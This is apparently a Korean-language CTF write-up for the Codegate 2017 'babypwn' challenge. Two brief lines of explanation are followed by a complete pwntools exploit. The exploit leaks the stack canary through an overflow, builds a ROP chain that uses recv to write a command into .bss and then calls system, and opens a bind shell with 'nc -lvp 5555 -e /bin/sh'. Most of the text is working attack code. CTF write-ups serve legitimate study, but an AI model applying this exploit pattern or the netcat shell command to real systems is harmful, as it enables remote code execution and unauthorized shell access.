[Codegate 2017] babypwn

메뉴창 보면 오버플로우 일어나는데 바로 볼 수 있다.

IDA로 옆에보면 system 함수가 대놓고 있어서 libc leak 없이 system plt 갖다쓰면 된다.

[exploit]

from pwn import *
 
p = remote('localhost', 8181)
e = ELF('./babypwn')
 
ppppr = 0x8048eec
cmd = 'nc -lvp 5555 -e /bin/sh' + '\x00'
 
print p.sendlineafter('> ', '1')
p.sendlineafter(': ', 'A'*40)
canary = p.recv(1024)
canary = u32('\x00' + canary[len(canary)-3 : ])
print 'canary : ' + hex(canary)
 
payload = ''
payload += 'A'*40
payload += p32(canary)
payload += 'A'*12
 
payload += p32(e.plt['recv'])
payload += p32(ppppr)
payload += p32(4)
payload += p32(e.bss())
payload += p32(len(cmd))
payload += p32(0)
 
payload += p32(e.plt['system'])
payload += 'AAAA'
payload += p32(e.bss())
 
p.sendlineafter('> ', '1')
p.sendlineafter(': ', payload)
p.sendlineafter('> ', '3')
p.sendline(cmd)
print 'nc localhost 5555'